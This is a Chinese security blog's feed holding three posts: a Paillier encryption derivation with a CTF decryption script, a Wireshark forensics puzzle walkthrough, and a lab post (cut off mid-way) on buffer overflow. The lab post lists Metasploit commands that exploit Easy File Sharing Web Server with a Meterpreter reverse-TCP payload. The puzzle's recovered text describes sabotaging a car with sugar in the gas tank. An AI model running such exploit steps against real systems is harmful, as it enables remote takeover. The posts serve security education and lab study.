<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ZER0-Nu1L</title>
  
  <subtitle>In me the tiger sniffs the rose.</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://zer0-nu1l.github.io/"/>
  <updated>2020-09-20T09:15:21.306Z</updated>
  <id>https://zer0-nu1l.github.io/</id>
  
  <author>
    <name>Andy Wu</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Paillier 公钥密码系统</title>
    <link href="https://zer0-nu1l.github.io/2020/09/20/paillier%20crypto/"/>
    <id>https://zer0-nu1l.github.io/2020/09/20/paillier%20crypto/</id>
    <published>2020-09-20T08:04:52.000Z</published>
    <updated>2020-09-20T09:15:21.306Z</updated>
    
    <content type="html"><![CDATA[<p>前段时间看到一篇关于 Paillier Cryptosystem 的文章，单纯出于对里面的数学推导的兴趣，然后就跟着推导了一下，结果就跟着文章玩了一天 😢。<br>实话说，这篇文章还是非常有价值的，填补了 Wiki 上对相关过程的证明。略微有点遗憾的是，原文中有些证明有些迂回，也存在些许小错误。（对不起 <a href="https://www.anquanke.com/member/143043" target="_blank" rel="noopener">V</a> 师傅 💔 ）<br>本着快落的态度 😄，笔者对该公钥密码体制做了更加详细严谨的推导证明，希望对读者有所帮助。</p><a id="more"></a><h2 id="Paillier-公钥密码系统简介">Paillier 公钥密码系统简介</h2><p>Paillier 密码，于1999年由 Pascal Paillier 发明，是一种用于公钥加密的概率非对称算法，基于复合剩余类困难问题（Composite Degree Residuosity Classes），构造在模数取为 $n^2$ 的剩余类上。<br>该算法具有加法同态的性质。这意味着，仅给出公钥和 $m_1$、$m_2$ 加密，可以计算出 $m_1 + m_2$.</p><h2 id="1-x-n-pmod-n-2-的处理方法">$(1+x)^n \pmod { n^2 }$ 的处理方法</h2><p>$$<br>\begin{aligned}<br>( 1 + x ) ^n = \sum_{ k = 0 } ^{ n } C_n^k x^k \pmod { n ^2 }<br>\\<br>= 1 + nx \pmod { n ^2 }<br>\end{aligned}<br>$$</p><p>在 Paillier 密码中函数 $L_n(u) = \frac{ u-1 } {n }$ 和这个部分是紧密关联的。</p><h2 id="Paillier-Keygen">Paillier Keygen</h2><ol><li>随机选择两个大质数 $p$、$q$，满足 $\left (pq, (p-1) \times (q-1) \right) = 1$</li><li>$n = p \times q$，选择随机 $g \in Z_{n^2} $</li><li>$\lambda = \left[p-1, q-1\right]，{ \mu } = L(g^{ \lambda } \pmod {n^2} ) ^{ -1 } \pmod {n}$</li><li>公钥为 $(n, g)$, 私钥为 $( { \lambda }，{ \mu } )$.</li></ol><h2 id="Paillier-Enc">Paillier Enc</h2><ol><li>设 $m$ 为要加密的消息，显然需要满足，$0 \le m &lt; n$.</li><li>选择随机 $r \in Z ^{ \star } _{ n }$.</li><li>密文 $c = g^m r^n \pmod { n ^2 }$</li></ol><h2 id="Paillier-Dec">Paillier Dec</h2><ol><li>$m =  L( c^{ \lambda } \pmod { n^2 }  \times { \mu } ) \pmod n$</li></ol><h2 id="Paillier-Proof">Paillier Proof</h2><p>我们注意到 $\mu$ 的存在有点古怪（没有那么清晰）：${\mu} = L(g ^{ \lambda } \pmod{ n^2 })^{ -1 } \pmod{ n }$，而最后的 $c$ 也涉及到 $\times \mu$，所以，我们可以先入手把 $\mu$ 解析掉：<br>从 $g^{ \lambda }$ 开始：<br>$$<br>\because \lambda = [p-1, q-1]<br>\\<br>\therefore (p-1)| , { \lambda }, (q-1) | , {\lambda}<br>\\<br>\text{Eular theorem:}<br>\\<br>\begin{cases}<br>g^{ p-1 } = 1 \pmod{ p }<br>\\<br>g^{ q-1 } = 1 \pmod{ q }<br>\end{cases}<br>\\<br>\Rightarrow<br>\begin{cases}<br>g^{ \lambda } = 1 \pmod{ p }<br>\\<br>g^{ \lambda } = 1 \pmod{ q }<br>\end{cases}<br>\\<br>\text{又} \because [p, q] = p \times q = n<br>\\<br>\therefore g^{ \lambda } = 1 \pmod{ n }<br>\\<br>\Leftrightarrow g^{ \lambda } = k_g n + 1<br>$$<br>代入函数 $L$ :<br>$$<br>L(g^{ \lambda } \pmod { n^2 }) = \frac{ k_g n + 1 - 1}{n} = k_g<br>\\<br>\therefore \mu = k_g^{-1} \pmod{ n }<br>$$</p><p>解析 $\mu$ 的过程中，最大的收获不是结果 $\mu$ 本身，而是发现 $g^\lambda$ 可以这样处理。<br>⭐️ 其实会发现 $g^{ \lambda } = k_g n + 1$ 只需要满足：<br>1. $\lambda = \left[p-1, q-1\right]$<br>2. $g \in Z $<br>所以，后面相关的指数运算如果不能用 Eular 定理或者 Fermat 定理，都可以这么处理。</p><p>继续我们的步伐，聚焦于 Dec 中的 $c^{ \lambda } \pmod{ n^2 }$：<br>$c^{ \lambda } \pmod{ n^2 }= g^{ m { \lambda } } r^{ n { \lambda } } \pmod{ n^2 }$，结合刚刚的收获+ “$(1+x)^n \pmod{ n^2 }$ 的处理方法”，有：<br>$$<br>\begin{cases}<br>g^{ m{ \lambda } } = (1+k_gn)^{ m } \equiv k_gnm+1 \pmod{ n^2 }<br>\\<br>r^{ n{ \lambda } } = (1+k_rn)^{ n } \equiv k_rn^2+1 \equiv 1\pmod{ n^2 }<br>\end{cases}<br>\\<br>\therefore  L(g^{ m{ \lambda } } r^{ n{ \lambda } }\pmod{ n^2 }) = L(k_gnm+1 )= mk_g<br>\\<br>L( c^{ \lambda } \pmod {n^2}) \times {\mu} \pmod n = mk_g \times k_g^{ -1 } = m \pmod{ n^2 }<br>$$<br>证毕.</p><hr><h2 id="DASCTF-四月月赛-not-RSA">DASCTF 四月月赛 not RSA</h2><h3 id="题目描述">题目描述</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> getPrime <span class="keyword">as</span> bytes_to_long</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag,p,q</span><br><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> isprime,nextprime</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line">m=bytes_to_long(flag)</span><br><span class="line">n=p*q</span><br><span class="line">g=n+<span class="number">1</span></span><br><span class="line">r=random.randint(<span class="number">1</span>,n)</span><br><span class="line"></span><br><span class="line">c=(pow(g,m,n*n)*pow(r,n,n*n))%(n*n)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"c=%d"</span>%(c)</span><br><span class="line"><span class="keyword">print</span> <span class="string">"n=%d"</span>%(n)</span><br></pre></td></tr></table></figure><h3 id="题目分析">题目分析</h3><p>这道题是 Paillier 密码的一个变式<br>其余参数不变，主要改变了 $g，{ \lambda }，{ \mu } $ 的定义：</p><ol><li>$g = n+1$</li><li>$ { \lambda } = { \varphi } (n) = (p-1) \times (q-1)$</li><li>$ { \mu } =  { \varphi } (n) ^{ -1 } \pmod n$</li></ol><p>公钥为 $(n, g)$, 私钥为 $ ( { \lambda }，{ \mu } ) $.<br>题目是公开了它的加密方案，问题在于它的解密方案是如何？会和 Paillier 一致吗？需要我们去推导一下。（我们的猜想是 $m =  L( c^ { \lambda } \pmod { n^2 }  \times { \mu } ) \pmod n$，或者类似的方案）。</p><h3 id="猜想验证">猜想验证</h3><p>总体有：<br>$$<br>\text{由} L(c^ { \lambda } \pmod { n^2 } \times {\mu} ) \pmod{ n }<br>\\<br>\Leftrightarrow L(g^ { m { \lambda } }  r ^ { n{ \lambda } } \pmod{ n^2 } ·  { \mu } ) \pmod{ n } \text{①}<br>$$</p><p>分析其中的 $r ^ { n{ \lambda } }$:<br>$$<br>\text{其中} { \lambda } = (p-1) \times (q-1)， { \mu } = { \varphi } ( n )^{ -1 } \pmod{ n }<br>\\<br>\because r^{ n { \lambda } } = r^{ n (p-1) \times (q-1)} = r^{ { \varphi } (n^2) }<br>\\<br>\text{Euler theorem}：r^{ { \varphi } (n^2) } \equiv 1 \pmod{ n^2 }<br>$$</p><p>分析其中的 $g^ { m { \lambda } }$:</p><p>$$<br>① \Rightarrow L(g^{ m { \lambda } } \pmod{ n^2 } ·  { \mu })  \pmod{ n } ②<br>\\<br>\because g = n+1<br>\\<br>\therefore  g^{ m { \lambda } } = (1+n)^{ m { \lambda } } \equiv nm{ \lambda } +1 \pmod{ n^2 }<br>$$</p><p>会师：<br>$$<br>② \Rightarrow L( ( nm { \lambda }+1) \times { \mu }) \pmod { n }<br>\\<br>\Rightarrow (m { \lambda } \times  { \mu }) \pmod{ n } ③<br>\\<br>\because { \lambda } = { \varphi } ( n)，{ \mu } = { \varphi } (n) ^{ -1 } \pmod{ n }<br>\\<br>③: (m{ \lambda } · { \mu }) \equiv m\pmod{ n }<br>\\<br>$$<br>证毕.</p><h3 id="解密">解密</h3><p>所以构造解密脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes,inverse</span><br><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> nextprime</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> iroot</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">L</span><span class="params">(x,n)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> (x<span class="number">-1</span>)/n</span><br><span class="line"></span><br><span class="line">c=</span><br><span class="line">n=</span><br><span class="line"></span><br><span class="line"><span class="comment">#factor(n)</span></span><br><span class="line">a = iroot(n,<span class="number">2</span>)[<span class="number">0</span>]</span><br><span class="line">p = nextprime(a)</span><br><span class="line">q = n//p</span><br><span class="line"><span class="keyword">assert</span> p*q == n</span><br><span class="line"></span><br><span class="line">Lambda = (p<span class="number">-1</span>)*(q<span class="number">-1</span>)</span><br><span class="line">miu = inverse(Lambda,n*n)</span><br><span class="line">m = (L(pow(c,Lambda,n**<span class="number">2</span>),n)*miu)%n</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> long_to_bytes(m)</span><br></pre></td></tr></table></figure><h2 id="Homomorphic-properties">Homomorphic properties</h2><h3 id="Homomorphic-addition-of-plaintexts">Homomorphic addition of plaintexts</h3><p>设 D 为解密函数，E 为加密函数<br>即：$D(E(m_1, r_1) · E(m_2,r_2) \pmod { n^2 } ）≡ m_1+m_2  \pmod n$</p><h3 id="Proof">Proof</h3><p>$$<br>\begin{align}<br>C &amp;= (g^{ m_1 }) · (r_1^n) · (g^{m_2}) · (r_2^n) \pmod {n^2}<br>\\<br>&amp;= g^{( m_1+m_2 )} · (r_1r_2)^n \pmod { n^2 }<br>\end{align}<br>$$<br>首先我们可以将 $m_1+m_2$ 看作一个整体 $M$，然后由于 $r_1$、$r_2$ 是随机选的，所以 $r_1 \times r_2$ 可以看作一个整体 $R$，<br>故 $C = g^M * R^n  \pmod { n^2 }$<br>由于$gcd(r_1, n) = 1; gcd(r_2,n) = 1； =&gt; gcd(r_1·r_2, n) = 1$，故 $R$ 符合要求。<br>所以 $D© = M ≡ m_1 + m_2 \pmod n$</p><h3 id="Homomorphic-multiplication-of-plaintexts">Homomorphic multiplication of plaintexts</h3><p>设D为解密函数，E为加密函数<br>即：$D(E(m_1, r_1)^k \pmod { n^2 } ≡ km_1 \pmod n$</p><h3 id="Proof-v2">Proof</h3><p>$$<br>\begin{align}<br>C &amp;= \left( g^{ m_1 } \times r_1^n \right) ^k \pmod { n^2 }<br>\\<br>&amp;=(g^{ km_1 })·(r_1^{kn} ) \pmod {n^2}<br>\end{align}<br>$$<br>首先我们可以将 $km_1$ 看作一个整体 $M$，然后由于 $r_1$ 是随机选的，所以 $r_1^k$ 可以看作一个整体 $R$，<br>故 $C = g^M * R^n \pmod { n^2 }$<br>由于 $gcd(r_1,n) = 1 =&gt; gcd(r_1^k, n) = 1$，故 $R$ 符合要求。<br>所以 $D© = M ≡ km_1 \pmod n$</p><h2 id="参考资料-与-碎碎念">参考资料 与 碎碎念</h2><ol><li><a href="https://en.wikipedia.org/wiki/Paillier_cryptosystem" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Paillier_cryptosystem</a></li><li><a href="https://www.anquanke.com/post/id/204720" target="_blank" rel="noopener">https://www.anquanke.com/post/id/204720</a></li><li>PAILLIER P. Public-key cryptosystems based on composite degree residuosity classes[C]// International conference on the theory and applications of cryptographic techniques. : Springer, 1999: 223–238.</li></ol><p>可能有人会问“复合剩余类困难问题”在本文中哪里有体现呢​❓​<br>好问题，去看参考文献里面提到的论文吧 ​😅​</p><p>同态加密开启新世界的大门，有时间我想去看看基于格的全同态密码方案！ ❤️</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;前段时间看到一篇关于 Paillier Cryptosystem 的文章，单纯出于对里面的数学推导的兴趣，然后就跟着推导了一下，结果就跟着文章玩了一天 😢。&lt;br&gt;
实话说，这篇文章还是非常有价值的，填补了 Wiki 上对相关过程的证明。略微有点遗憾的是，原文中有些证明有些迂回，也存在些许小错误。（对不起 &lt;a href=&quot;https://www.anquanke.com/member/143043&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;V&lt;/a&gt; 师傅 💔 ）&lt;br&gt;
本着快落的态度 😄，笔者对该公钥密码体制做了更加详细严谨的推导证明，希望对读者有所帮助。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://zer0-nu1l.github.io/categories/CTF/"/>
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/categories/CTF/Crypto/"/>
    
    
      <category term="Homomorphic" scheme="https://zer0-nu1l.github.io/tags/Homomorphic/"/>
    
      <category term="Paillier" scheme="https://zer0-nu1l.github.io/tags/Paillier/"/>
    
  </entry>
  
  <entry>
    <title>【Wireshark 系列】Puzzle-1 Ann&#39;s Bad AIM</title>
    <link href="https://zer0-nu1l.github.io/2020/07/13/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91Puzzle-1/"/>
    <id>https://zer0-nu1l.github.io/2020/07/13/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91Puzzle-1/</id>
    <published>2020-07-12T19:06:00.000Z</published>
    <updated>2020-12-18T13:41:03.854Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://www.zer0-nu1l.com/uploads/Wireshark.jpg" alt="Wireshark"></p><p>发现后续分析的各种攻击没什么意思😅，所以接下来直接开始网络流量分析与取证的实战环节。<br>开刀对象是 <a href="http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail" target="_blank" rel="noopener">http://forensicscontest.com</a> 的系列题目 🛠</p> <a id="more"></a><h1>题目描述</h1><p>Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company’s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s secret recipe.</p><p>Security staff have been monitoring Ann’s activity for some time, but haven’t found anything suspicious– until now. Today an unexpected laptop briefly appeared on the company wireless network. Staff hypothesize it may have been someone in the parking lot, because no strangers were seen in the building. Ann’s computer, (<strong>192.168.1.158</strong>) sent IMs over the wireless network to this computer. The rogue laptop disappeared shortly thereafter.</p><p>“We have a <a href="http://forensicscontest.com/contest01/evidence01.pcap" target="_blank" rel="noopener">packet capture</a> of the activity,” said security staff, “but we can’t figure out what’s going on. Can you help?”</p><p>You are the forensic investigator. Your mission is to figure out who Ann was IM-ing, what she sent, and recover evidence including:</p><ol><li><p>What is the name of Ann’s IM buddy?</p></li><li><p>What was the first comment in the captured IM conversation?</p></li><li><p>What is the name of the file Ann transferred?</p></li><li><p>What is the magic number of the file you want to extract (first four bytes)?</p></li><li><p>What was the MD5sum of the file?</p></li><li><p>What is the secret recipe?</p></li></ol><p>Here is your <a href="http://forensicscontest.com/contest01/evidence01.pcap" target="_blank" rel="noopener">evidence file</a>:</p><p><a href="http://forensicscontest.com/contest01/evidence01.pcap" target="_blank" rel="noopener">http://forensicscontest.com/contest01/evidence01.pcap</a><br>MD5 (evidence.pcap) = d187d77e18c84f6d72f5845edca833f5</p><h1>题目分析</h1><p>根据题目，简单说就是，嫌疑人 Ann（192.168.1.158）被网络监控到通过无线网络将即时消息发送到一台陌生电脑，我们需要通过数据包的分析，以知晓通信双方的信息和传输的信息。<br>题目 1、2 对通信进行分析即可。<br>题目 3、4、5、6 其实重要我们获取到文件，就一锅端了。</p><h1>解题过程</h1><h2 id="通信加密？">通信加密？</h2><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001.png" style="zoom:80%;"><p>乍一眼看过去，很不妙地看到了SSL（Secure Sockets Layer） 安全套接字协议，这很大程度上意味着通信进行了加密。<br>一般，只有 Wireshark 导入私钥才能解析其中的消息。</p><h2 id="继续探索">继续探索</h2><p>应用层数据可能进行了加密，但不妨碍我们对传输层/网络层的报文字段进行分析。<br>我们知道 Ann 的 IP 是 192.168.1.158，所以先用显示过滤器：ip.addr == 192.168.1.158：<br>发现他正在和一个 well-kown IP 进行通信：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image002.png" style="zoom:80%;"></p><p>可以看出，这是来自美国的一个 IP。作为一个 well-kown IP，它很有可能是服务器。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image003.png" style="zoom:80%;"></p><p>我们进一步查询 IP：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200713022522482.png" alt="image-20200713022522482" style="zoom: 50%;"></p><p>果不其然，它是来自 AOL 美国在线公司的服务器。<br>可以查到 AOL 是一个提供电子邮件、新闻组、教育和娱乐服务，并支持对因特网访问的公司。所以 Ann 是通过这个和和外界通信的。<br>查一下 AOL 通信：AOL即时通讯（AOL Instant Messenger）简称AIM<br>AOL 作为通信的一种服务，应该有它自己的通信协议（比如 QQ 的通信协议是 OICQ），端口是 443。（留意这个端口！）</p><h2 id="突破：Wireshark-的解析规则">突破：Wireshark 的解析规则</h2><p>虽然，看到 SSL 或者 SSLv3之后SSL重命名为的TLS，我们会以为的确是加密了。<br>但实际上，Wireshark 解析协议是根据端口的。<br>这里通信的端口是 443，所以自然而然会被解析成 SSL：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image005.png"><p>但是现实情况下往往存在端口映射等其他情况，以及特定协议带来的干扰导致 Wireshark 解析错误。（这里可能没有解释太清楚）所以，看到 SSL 或者 TLS 除了可能是通信加密，也有可能是解析错误！！！<br>这也是本题的解密关键。</p><h2 id="解码">解码</h2><p>我们已知，Ann 通信对方是 AOL 的服务器，所以他们很可能是利用 AOL 和 AIM 的协议进行通信的；知道协议之后，就可以尝试 Decode As… 功能。<br><a href="https://www.wireshark.org/docs/wsug_html_chunked/ChCustProtocolDissectionSection.html" target="_blank" rel="noopener">Wireshark 的官方文档</a>是这样介绍的：</p><p>The “Decode As” functionality lets you temporarily divert specific protocol dissections. This might be useful for example, if you do some uncommon experiments on your network.<br>点击数据包右键- Decode As …：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image005.png" style="zoom:67%;"></p><p>这是它原来的解析方式：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image007.png" alt="计算机生成了可选文字: ，WiresharkDecodeAs. 字段值类型 默认当前 TLSPort443整数基数10HTTPHTTP 0《er到裙方刀．“汾a二coasentries Cancel Help" style="zoom:50%;"></p><p>当前的 (none) 代表不进行解析<br>这几个项都可以进行更改（下拉菜单）-把能够解析的都列出来了，我们尝试将它当做 AIM 协议解析：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image008.png" alt="计算机生成了可选文字: ，WiresharkDecodeAs. 字段值类型 默认当前 TLSPort443整数基数10HTTPHTTP (none) AlM AMQP 00CoAP Couchbase DNS EN甲 HTTP ℃AP" style="zoom:50%;"><p>解析成功！激动的心！！<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200713022606397.png" alt="image-20200713022606397" style="zoom:80%;"></p><h2 id="解读信息">解读信息</h2><p>难点解决了，接下来都是小问题了（坐好了，要加速了🚗 ）：</p><h3 id="Question-1">Question 1</h3><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200713022621885.png" alt="image-20200713022621885" style="zoom:80%;"><h3 id="Question-2">Question 2</h3><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image011.png" style="zoom:80%;"><p>ValueMessage: Here’s the secret recipe… I just downloaded it from the file server. Just copy to a thumb drive and you’re good to go &gt;:-)</p><h3 id="Question3：">Question3：</h3><p><strong>TCP</strong> <strong>追踪流：</strong><br>tcp.stream eq 2 &amp;&amp; ip.addr == 192.168.1.158<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image012.png" style="zoom:80%;"></p><p>看到提到 recipe.docx<br>再追踪下一个 TCP 流：<br>tcp.stream eq 5 &amp;&amp; ip.addr == 192.168.1.158<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image013.png" style="zoom:80%;"></p><p>这个流就有点意思了（它没有经过服务器）<br>选择为单向对话。原始数据，保存为 recipe.bin，后面还原文件用。</p><h3 id="Question-4">Question 4</h3><p>问 Magic Number<br>Magic number，即幻数，它可以用来标记文件或者协议的格式，很多文件都有幻数标志来表明该文件的格式。<br><a href="https://asecuritysite.com/forensics/magic" target="_blank" rel="noopener">常见文件头 | 幻数</a></p><p>| DOCX  (Office 2010) | .docx | 50 4B 03  04 [PK] |</p><ol><li>把文件头去掉，保存文件为 recipe.docx<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image014.png" style="zoom:80%;"></li></ol><p>成功！</p><h3 id="Question-5：">Question 5：</h3><p>计算 MD5<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200713022717043.png" alt="image-20200713022717043" style="zoom:80%;"></p><h3 id="Question-6：">Question 6：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Recipe for Disaster:</span><br><span class="line">1 serving</span><br><span class="line">Ingredients:</span><br><span class="line">4 cups sugar</span><br><span class="line">2 cups water</span><br><span class="line">In a medium saucepan, bring the water to a boil. Add sugar. Stir gently over low heat until sugar is fully dissolved. Remove the saucepan from heat. Allow to cool completely. Pour into gas tank. Repeat as necessary.</span><br></pre></td></tr></table></figure><p>Done. 🌞</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;https://www.zer0-nu1l.com/uploads/Wireshark.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现后续分析的各种攻击没什么意思😅，所以接下来直接开始网络流量分析与取证的实战环节。&lt;br&gt;
开刀对象是 &lt;a href=&quot;http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://forensicscontest.com&lt;/a&gt; 的系列题目 🛠&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/categories/Web/Wireshark/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/tags/Wireshark/"/>
    
      <category term="eNSP" scheme="https://zer0-nu1l.github.io/tags/eNSP/"/>
    
  </entry>
  
  <entry>
    <title>【Wireshark 系列】缓冲区溢出攻击分析</title>
    <link href="https://zer0-nu1l.github.io/2020/07/05/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/"/>
    <id>https://zer0-nu1l.github.io/2020/07/05/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/</id>
    <published>2020-07-05T12:25:09.000Z</published>
    <updated>2020-12-18T13:37:36.693Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Wireshark.jpg" alt="Wireshark"></p><p>前面介绍了很多种攻击方式，但是它们都是基于网络协议的缺陷。而在实际情况中，除了这些内容之外，操作系统和应用程序的漏洞也是网络安全研究的重点。<br>缓冲区溢出是现在很典型的一种远程攻击方式，它利用了程序员在编写程序时的疏忽，从而实现了在远程设备上执行代码。这些攻击方式大都要通过应用层的协议实现，所以本次课也会介绍应用层最为典型的协议 HTTP 。</p><a id="more"></a><h1>缓冲区溢出攻击的相关理论</h1><p>缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，攻击者可以利用它执行非授权指令，甚至可以取得系统特权，进而执行各种操作。</p><p>考虑到目前大量的应用程序都使用了 B/S 结构，而这种结构正是使用 HTTP 协议进行通信的。</p><p>维基百科的定义是：<br>缓冲区溢出（buffer overflow），是针对程序设计缺陷，向程序输入缓冲区写入使之溢出的内容（通常是超过缓冲区能保存的最大数据量的数据），从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。</p><blockquote><p>HTTP 协议下有一个 Host 字段，这个不是多余的，主要是虚拟化技术的发展，一台主机很可能对应多个域名。</p></blockquote><h1>模拟缓冲区溢出攻击</h1><h2 id="实验环境">实验环境</h2><blockquote><p>笔者的 8GB 主机基本要把所有的进程关闭 😭</p></blockquote><p>kali：192.168.93.144<br>Win7：192.168.93.155<br>Wireshark 监听端口 VNet8<br>文件共享软件 Easy File Sharing Web Server7.2</p><h2 id="实验步骤">实验步骤</h2><h3 id="开启服务">开启服务</h3><p>在 Win 7 下运行 文件共享软件 Easy File Sharing Web Server7.2：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001.png" alt></p><p>开启服务之后，另一台主机 kali 是可以访问的：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image002.png" alt></p><h3 id="缓冲区溢出攻击">缓冲区溢出攻击</h3><p>在 kali 中执行 msfconsole 命令打开 Metasploit：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image003.png" style="zoom:80%;"><p>Metasploit 是各种渗透模块的集成，先搜索一下没有没目标软件的渗透模块：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image004.png" alt></p><p>我们不妨使用 2015 版的：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use exploit/windows/http/easyfilesharing_seh</span><br></pre></td></tr></table></figure><p>然后进行攻击</p><ol><li>选择武器<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set payload windows/meterpreter/reverse_tcp</span><br></pre></td></tr></table></figure></li><li>自我定位<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set lhost 192.168.93.144</span><br></pre></td></tr></table></figure></li><li>目标定位<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">set rhost 192.168.93.155</span><br><span class="line">set rport 80</span><br></pre></td></tr></table></figure></li><li>攻击<br>发送大量数据，包括木马等，实现缓冲区溢出<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exploit</span><br></pre></td></tr></table></figure><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200705203002353.png" alt="image-20200705203002353"></li></ol><p>这个时候已经实现了对 Win7 的控制。</p><h3 id="控制">控制</h3><p>接下来可以把 Win7 当做自己的主机进行控制：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image006.png" alt></p><p><img src="/2020/07/05/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/clip_image007.png" alt></p><h1>使用 Wireshark 分析缓冲区溢出攻击</h1><h2 